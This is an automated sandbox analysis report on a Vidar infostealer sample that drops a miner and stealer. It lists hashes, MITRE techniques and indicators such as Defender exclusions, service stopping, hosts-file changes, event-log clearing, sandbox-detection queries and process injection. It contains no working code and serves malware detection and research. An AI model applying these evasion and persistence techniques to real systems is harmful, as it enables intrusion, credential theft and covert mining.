vidar | 1940797bbf48e2b4061f3d3b0809c6e6a5f66b35653c6384cca212eedf873541

Analysis

max time kernel
150s
max time network
146s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
23-09-2024 01:02

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General

Target

1940797bbf48e2b4061f3d3b0809c6e6a5f66b35653c6384cca212eedf873541.exe
Size

5.5MB
MD5

e0dfc852c37571b8468b2d17f573a12f
SHA1

38ec845f203450b7d6a51e9a441ab609b5ff1100
SHA256

1940797bbf48e2b4061f3d3b0809c6e6a5f66b35653c6384cca212eedf873541
SHA512

783c27474e39e99a4ab153f6d42f2b9808df2ebcd3b4299c0067ed9e21d635ba92505d21b96ccf512ca406a36ae9770ffce85e36842a9dac7a4ae87becdf35af
SSDEEP

98304:Uuc009atEN5lsTu7vAcJnIQEUmM1nGGqJe2OUxulDhTCGiYbFr54L6Bid09VGg5Q:Uuc39a45lr7vR9nEi1nGGqQMuLWnOoLH

Score

10^/10

vidar defense_evasion discovery evasion execution persistence stealer

Malware Config

Signatures

Detect Vidar Stealer 1 IoCs

stealer

resource	yara_rule
behavioral2/files/0x00080000000234aa-26.dat	family_vidar_v7

Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
5108	powershell.exe
3392	powershell.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002

Drops file in Drivers directory 2 IoCs

description	ioc	Process
File created	C:\Windows\system32\drivers\etc\hosts	Miner.exe
File created	C:\Windows\system32\drivers\etc\hosts	whrbuflqwhah.exe

Stops running service(s) 4 TTPs
evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	wmiprvse.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Control Panel\International\Geo\Nation	1940797bbf48e2b4061f3d3b0809c6e6a5f66b35653c6384cca212eedf873541.exe

Executes dropped EXE 3 IoCs

pid	Process
4584	Miner.exe
872	Stealer.exe
2496	whrbuflqwhah.exe

Indicator Removal: Clear Windows Event Logs 1 TTPs 3 IoCs

Clear Windows Event Logs to hide the activity of an intrusion.

defense_evasion

Clear Windows Event Logs

T1070.001

description	ioc	Process
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Setup.evtx	svchost.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Drops file in System32 directory 16 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\MRT.exe	Miner.exe
File opened for modification	C:\Windows\system32\MRT.exe	whrbuflqwhah.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Scan	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 4584 set thread context of 3892	4584	Miner.exe	111
PID 2496 set thread context of 3204	2496	whrbuflqwhah.exe	139
PID 2496 set thread context of 2264	2496	whrbuflqwhah.exe	140
PID 2496 set thread context of 1400	2496	whrbuflqwhah.exe	141

Drops file in Windows directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk	svchost.exe
File opened for modification	C:\Windows\Logs\CBS\CBS.log	TiWorker.exe

Launches sc.exe 14 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3268	sc.exe
1064	sc.exe
3664	sc.exe
744	sc.exe
1560	sc.exe
1896	sc.exe
2848	sc.exe
3008	sc.exe
3396	sc.exe
4548	sc.exe
3628	sc.exe
3780	sc.exe
4732	sc.exe
3536	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
1244	872	WerFault.exe	85

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Stealer.exe

Checks SCSI registry key(s) 3 TTPs 18 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\CompatibleIDs	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Service	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000\LogConf	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\ConfigFlags	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Mfg	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Service	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\FriendlyName	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Mfg	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\DeviceDesc	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\HardwareID	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\CompatibleIDs	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\DeviceDesc	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000\LogConf	wmiprvse.exe

Checks processor information in registry 2 TTPs 10 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	mousocoreworker.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	mousocoreworker.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	mousocoreworker.exe
Key security queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	wmiprvse.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	dialer.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Property\0018400F3999590B = 0100000001000000d08c9ddf0115d1118c7a00c04fc297eb01000000273b68ebf60ea0448ae0d5b372d6934600000000020000000000106600000001000020000000b1d011bdec878a17a49b6edaca317bd41c0ea7230559a24b2cae3a99ee8b044d000000000e8000000002000020000000b166990ed07906dad1bd06ecddedd891f529e357dc08dfadc707e3163e13e73480000000a3e7547ce8ab733b186c5fe465399e454b1c63f9c66fad0ef67d5c0572ae63138da3c616d14ea95ccddf2c6575b0396a37875e280a6921486b40a49f613820f71e313d855c1897cd97f079cf37af14beadc8e7c8a6f7ce91aaaabfccfb67196f65b7fe3d877c3af06b82b3d29faf34002c946a3189ddbb449c1fb073bd40606d400000004b8d3bd0805ccb6c6f1367aadaad308c3113a1229ef42f4658376d54870f1cbf053da080cf417e700420fc525eb58ada5101c4d36dbe16b86ec1d14215a449db	mousocoreworker.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Property	mousocoreworker.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\DeviceId = "0018400F3999590B"	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	dialer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	dialer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Mon, 23 Sep 2024 01:04:20 GMT"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\DeviceTicket = 0100000001000000d08c9ddf0115d1118c7a00c04fc297eb01000000273b68ebf60ea0448ae0d5b372d6934600000000020000000000106600000001000020000000c00883c5b8c8f26f871f67ea10156d316673a7d931fdd95b48396b114b94df61000000000e8000000002000020000000cac795b26ab070666cb76b2843f0e55b3b27ef91a0296571b9d73c071a0e7453b003000027a4f04b813116ca9e02cf48c8356a9d625ca0125f0fba7726345c5f31b6630ed769eacf7eeaf7a2aa83d20f6bdafa1115a0ecf351ccabf319557c15f702ae58cbb44de8a23fcef926b5e3098ed50b0820c0c07afda26658f4087094ea69fde3a48b88f15f3277bdecf43491eee4a37eecd1ab93403bfd0855bad7bb5f60faed133c064bddb7e9afa16ac783f94d1b0887c7f84cc0f3869f7731a312a5df73b61cba3778483e5237639d9778f6a4a6a4048f227349ea1caf1e440c46c477e89f7f5276ac4c54da730cb39e5d7b7d1e83dbb8068f9c9896b9e7d2d032006626d4c6b2a7ab21e8d237546f01b52b45dd05cff1456574346bcdf5151dbdfc3d17cb610c16b9ddc900891a96e8da1bea678727a1fe206da4f01bab60ac2f30d5e9f9e7159b0faca5bb6b8ca1fd8787d85f131a330bad5c36be57417449d30e75caeea2e3fcc561d8cca0c3814e6c0b20bd7fb5c4ba8798b195e305381b866ecfb791ee255e294b89b0cd9094994a93a37fba4592cba78268f7cd1d87157068b33e5b88b29eeb562c26fb3622674d1a0301aa56b69f0f73fe302909bc2f2d098195dc2edcfd73d2d2ad984932e8754c446487dc5d5adc7ee404c9248a8f087166ff4fe6f4687f6205356790addccbd7c0708668727768d74405b0c5ff23dd8c2bf284f34ddcd06f25ad9f1e2889187bc552d8a83b78993d949d0e493b006cb0b1e2c17ae417b0016c29f18ad4fb940d69e6d830459c044ae20535e7d123dbc17e0ab98cf06a5ffcabb3e404280fe52197e6ca26f0b4e57018a1bdab24c17f25984f81210265740c861600a9638eb81b404286ade6fdebef8e86d8a55e9031849252d60a17d8e043e931fc93b82fcc16ab2fc31e6423d7e8ebdc2e73a15bb8ee547a4635e1435c15db2af511c83b68522a500603b8dae2c74c2ad07558ec42fbc922e969e01ada10507ff09672bac775ea635c5d37a00e8204dd455ef609001898584b4029ba14c40c9019dee53f6073508e858cf812ce45944921ada2f8b9bda075452e0d94bb98a19afc703b53d9f537f71677740e3e7284d1dde6c1e41d1d1d9fd799213209df5996377f00123321b3bf43a0780e9eac78decfbbaa7142a8037ccd4dc11e146dabe75ad34d466d1d09f45cdde64091dd240490c6e5e4885df4e0acedbec9af49fdaf0285dbcdaea4aaebc73787abae6e55d09e256f9d712f48b1f7f6e47347f38d4e32cfb4f208a1be5cc8b6355d3292fc2ea20ec9e212523a744ece96dfc60b38a4fd20cb3eff350e3cbbaa7c83ae5127c46cebdfd20aa6df8bb9060502056ba5d001bba28c9a3c8220a8400000007e218f0351c07bc77e62e9cc63e137db5ac4c0ffc0fbfd8629590929c2cd7116eafa56ae4094ab62592a6357d2d7474c3092b44e7c1950e944c320c4618bd242	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}	mousocoreworker.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={E0A7E1DA-20C2-4F1E-A55C-26C54D900007}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\ROOT	dialer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\ExtendedProperties\LID = "0018400F3999590B"	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2576	powershell.exe
2576	powershell.exe
4584	Miner.exe
5108	powershell.exe
5108	powershell.exe
4584	Miner.exe
4584	Miner.exe
4584	Miner.exe
4584	Miner.exe
4584	Miner.exe
4584	Miner.exe
4584	Miner.exe
4584	Miner.exe
3892	dialer.exe
3892	dialer.exe
4584	Miner.exe
3892	dialer.exe
3892	dialer.exe
4584	Miner.exe
4584	Miner.exe
4584	Miner.exe
2496	whrbuflqwhah.exe
3892	dialer.exe
3892	dialer.exe
3392	powershell.exe
3392	powershell.exe
3392	powershell.exe
3892	dialer.exe
3892	dialer.exe
3892	dialer.exe
3892	dialer.exe
3892	dialer.exe
3892	dialer.exe
3892	dialer.exe
3892	dialer.exe
3392	powershell.exe
3892	dialer.exe
3892	dialer.exe
3892	dialer.exe
3892	dialer.exe
3892	dialer.exe
3892	dialer.exe
3892	dialer.exe
3892	dialer.exe
3892	dialer.exe
3892	dialer.exe
2496	whrbuflqwhah.exe
2496	whrbuflqwhah.exe
2496	whrbuflqwhah.exe
2496	whrbuflqwhah.exe
2496	whrbuflqwhah.exe
2496	whrbuflqwhah.exe
3892	dialer.exe
2496	whrbuflqwhah.exe
3892	dialer.exe
2496	whrbuflqwhah.exe
3204	dialer.exe
3204	dialer.exe
2496	whrbuflqwhah.exe
3892	dialer.exe
3892	dialer.exe
3892	dialer.exe
3892	dialer.exe
3204	dialer.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2576	powershell.exe
Token: SeDebugPrivilege	5108	powershell.exe
Token: SeDebugPrivilege	3892	dialer.exe
Token: SeDebugPrivilege	3392	powershell.exe
Token: SeShutdownPrivilege	4884	mousocoreworker.exe
Token: SeCreatePagefilePrivilege	4884	mousocoreworker.exe
Token: SeDebugPrivilege	3204	dialer.exe
Token: SeLockMemoryPrivilege	1400	dialer.exe
Token: SeShutdownPrivilege	4884	mousocoreworker.exe
Token: SeCreatePagefilePrivilege	4884	mousocoreworker.exe
Token: SeShutdownPrivilege	960	RuntimeBroker.exe
Token: SeShutdownPrivilege	4884	mousocoreworker.exe
Token: SeCreatePagefilePrivilege	4884	mousocoreworker.exe
Token: SeAssignPrimaryTokenPrivilege	2000	svchost.exe
Token: SeIncreaseQuotaPrivilege	2000	svchost.exe
Token: SeSecurityPrivilege	2000	svchost.exe
Token: SeTakeOwnershipPrivilege	2000	svchost.exe
Token: SeLoadDriverPrivilege	2000	svchost.exe
Token: SeSystemtimePrivilege	2000	svchost.exe
Token: SeBackupPrivilege	2000	svchost.exe
Token: SeRestorePrivilege	2000	svchost.exe
Token: SeShutdownPrivilege	2000	svchost.exe
Token: SeSystemEnvironmentPrivilege	2000	svchost.exe
Token: SeUndockPrivilege	2000	svchost.exe
Token: SeManageVolumePrivilege	2000	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2000	svchost.exe
Token: SeIncreaseQuotaPrivilege	2000	svchost.exe
Token: SeSecurityPrivilege	2000	svchost.exe
Token: SeTakeOwnershipPrivilege	2000	svchost.exe
Token: SeLoadDriverPrivilege	2000	svchost.exe
Token: SeSystemtimePrivilege	2000	svchost.exe
Token: SeBackupPrivilege	2000	svchost.exe
Token: SeRestorePrivilege	2000	svchost.exe
Token: SeShutdownPrivilege	2000	svchost.exe
Token: SeSystemEnvironmentPrivilege	2000	svchost.exe
Token: SeUndockPrivilege	2000	svchost.exe
Token: SeManageVolumePrivilege	2000	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2000	svchost.exe
Token: SeIncreaseQuotaPrivilege	2000	svchost.exe
Token: SeSecurityPrivilege	2000	svchost.exe
Token: SeTakeOwnershipPrivilege	2000	svchost.exe
Token: SeLoadDriverPrivilege	2000	svchost.exe
Token: SeSystemtimePrivilege	2000	svchost.exe
Token: SeBackupPrivilege	2000	svchost.exe
Token: SeRestorePrivilege	2000	svchost.exe
Token: SeShutdownPrivilege	2000	svchost.exe
Token: SeSystemEnvironmentPrivilege	2000	svchost.exe
Token: SeUndockPrivilege	2000	svchost.exe
Token: SeManageVolumePrivilege	2000	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2000	svchost.exe
Token: SeIncreaseQuotaPrivilege	2000	svchost.exe
Token: SeSecurityPrivilege	2000	svchost.exe
Token: SeTakeOwnershipPrivilege	2000	svchost.exe
Token: SeLoadDriverPrivilege	2000	svchost.exe
Token: SeSystemtimePrivilege	2000	svchost.exe
Token: SeBackupPrivilege	2000	svchost.exe
